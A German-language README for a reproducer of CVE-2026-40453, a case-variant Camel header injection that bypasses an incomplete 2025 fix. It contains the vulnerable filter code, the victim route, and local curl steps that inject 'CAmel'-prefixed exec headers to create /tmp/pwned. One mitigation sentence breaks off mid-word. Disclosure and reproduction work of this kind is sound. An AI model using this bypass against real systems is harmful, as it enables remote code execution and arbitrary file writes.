
Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636)
Dieses Projekt demonstriert CVE-2026-40453 – eine unvollständige Behebung von CVE-2025-27636. Der Fix von 2025 fügte
setLowerCase(true) zu HttpHeaderFilterStrategy hinzu, sodass Header-Namen in Groß-/Kleinschreibungs-Varianten (z. B.
CAmelExecCommandExecutable) zusammen mit dem kanonischen CamelExecCommandExecutable gefiltert werden. Der gleiche Aufruf
wurde nicht auf fünf Nicht-HTTP-HeaderFilterStrategy-Implementierungen angewendet
(camel-jms, camel-sjms, camel-coap, camel-google-pubsub), die groß-/kleinschreibungssensitiv filtern, während
der Camel Exchange Header in einer groß-/kleinschreibungsunabhängigen Map speichert. Ein Angreifer kann daher einen
Camel*-Steuerheader in einer Groß-/Kleinschreibungs-Variante injizieren, der den Filter umgeht, aber von nachgelagerten
Komponenten (camel-exec, camel-file, ...) unter seinem kanonischen Namen aufgelöst wird → Remote Code Execution /
beliebiges Dateischreiben.
Dieser Reproducer demonstriert den Umgehungsangriff mit camel-coap (eigenständig, kein externer Broker); der gleiche
Fehler betrifft die JMS/SJMS/Google-Pubsub-Strategien.
Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-40453.html
CoAPHeaderFilterStrategy (betroffene Version) filtert Camel* groß-/kleinschreibungssensitiv:
public CoAPHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// MISSING: setLowerCase(true);
}
Wenn eine CoAP-Anfrage eintrifft, ordnet CamelCoapResource.handleRequest() jeden URI-Abfrageparameter den Exchange-In-Headern zu,
gesteuert durch strategy.applyFilterToExternalHeaders(name, value, exchange):
CamelExecCommandExecutable – startsWith("Camel") ist true → herausgefiltert.CAmelExecCommandExecutable – startsWith("Camel") ist false (CAm ≠ Cam) → nicht herausgefiltert.Die Exchange-Header-Map ist groß-/kleinschreibungsunabhängig, sodass der Header in Groß-/Kleinschreibungs-Variante später vom
Exec-Producer unter seinem kanonischen Namen CamelExecCommandExecutable aufgelöst wird und den Befehl überschreibt.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello")
.convertBodyTo(String.class);
mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal # -> hello
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false (the filter strips canonical Camel* headers)
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned
docker compose down
Upgrade auf 4.14.6 / 4.18.2 / 4.20.0. Der Fix (CAMEL-23313) fügt setLowerCase(true) zu den fünf
Nicht-HTTP-HeaderFilterStrategy-Implementierungen hinzu, sodass auch Camel*-Namen in Groß-/Kleinschreibungs-Varianten gefiltert werden.
Bis zum Upgrade:
HeaderFilterStrategy mit setLowerCase(true) oder removeHeaders mit einemCVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CoapExecRoute.java # victim: from(coap).to(exec)
│ └── ExploitController.java # /normal, /canonical (filtered), /attack (case-variant bypass)
└── resources/
└── application.properties
Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisiertes Testen bereitgestellt, für eine öffentlich
bekanntgegebene und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.
| Eigenschaft | Wert |
|---|
| Komponenten | camel-jms, camel-sjms, camel-coap, camel-google-pubsub (dieses PoC verwendet camel-coap) |
| Betroffene Klassen | JmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy |
| Grundursache | Groß-/kleinschreibungssensitives startsWith("Camel"/"camel")-Filtern (fehlendes setLowerCase(true)) vs. eine groß-/kleinschreibungsunabhängige Exchange-Header-Map |
| CWE | CWE-20 (Unzureichende Eingabevalidierung) – Nachrichten-Header-Injection |
| Auswirkung | RCE / beliebiges Dateischreiben über headergesteuerte Producer |
| Betroffene Versionen | Ab 3.0.0 vor 4.14.6, ab 4.15.0 vor 4.18.2, ab 4.19.0 vor 4.20.0 |
| Behobene Versionen | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23313 (vervollständigt den Fix für CVE-2025-27636) |
| Melder | Saroj Khadka |